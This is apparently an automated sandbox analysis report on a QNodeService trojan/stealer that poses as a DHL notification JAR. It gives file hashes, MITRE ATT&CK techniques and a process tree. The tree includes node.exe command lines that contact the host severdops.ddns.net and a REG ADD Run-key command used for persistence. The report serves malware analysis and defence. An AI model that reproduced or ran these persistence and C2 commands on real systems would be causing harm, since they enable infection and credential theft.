qnodeservice | 113dd566f2ac95687d7bc63b9d45bfa754d2ebd2c923665eed27284d17089a50

General

Target

DHL Notification DHL_AWB_0011179303.jar
Size

75KB
MD5

5492176123097b367c4c36908a67730e
SHA1

919867accf22f1ae7bd332690b5c16f7a57f2c68
SHA256

113dd566f2ac95687d7bc63b9d45bfa754d2ebd2c923665eed27284d17089a50
SHA512

cc8443b2638976f3905be6fa2d14edb17a4b5cdb4274180c90e19732a52825e0601e5767ce21dd9181d07183e8daae8ca850cb0a191ade88d0393d494b1519e1

Score

10^/10

spyware trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3080	node.exe
1004	node.exe
1144	node.exe

Loads dropped DLL 6 IoCs

pid	Process
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\09028cb9-0f8a-4493-b8c3-707320bb4801 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad53-174.dat	js
behavioral2/files/0x000100000001ad53-179.dat	js
behavioral2/files/0x000100000001ad53-183.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3080	node.exe
3080	node.exe
3080	node.exe
3080	node.exe
1004	node.exe
1004	node.exe
1004	node.exe
1004	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe
1144	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 3092	1468	java.exe	73
PID 1468 wrote to memory of 3092	1468	java.exe	73
PID 3092 wrote to memory of 3080	3092	javaw.exe	77
PID 3092 wrote to memory of 3080	3092	javaw.exe	77
PID 3080 wrote to memory of 1004	3080	node.exe	79
PID 3080 wrote to memory of 1004	3080	node.exe	79
PID 1004 wrote to memory of 1144	1004	node.exe	80
PID 1004 wrote to memory of 1144	1004	node.exe	80
PID 1144 wrote to memory of 2636	1144	node.exe	82
PID 1144 wrote to memory of 2636	1144	node.exe	82
PID 2636 wrote to memory of 4036	2636	cmd.exe	83
PID 2636 wrote to memory of 4036	2636	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\DHL Notification DHL_AWB_0011179303.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\456ffb8a.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3092
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain severdops.ddns.net
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PZ0oBS\boot.js --hub-domain severdops.ddns.net
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1004
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_PZ0oBS\boot.js --hub-domain severdops.ddns.net
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1144
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "09028cb9-0f8a-4493-b8c3-707320bb4801" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2636
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "09028cb9-0f8a-4493-b8c3-707320bb4801" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:4036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1004-180-0x00000219A5DC0000-0x00000219A5DC1000-memory.dmp

Filesize
4KB

Download
memory/1144-184-0x00000367E0D00000-0x00000367E0D01000-memory.dmp

Filesize
4KB

Download
memory/3080-177-0x0000022C3E840000-0x0000022C3E841000-memory.dmp

Filesize
4KB

Download

Analysis

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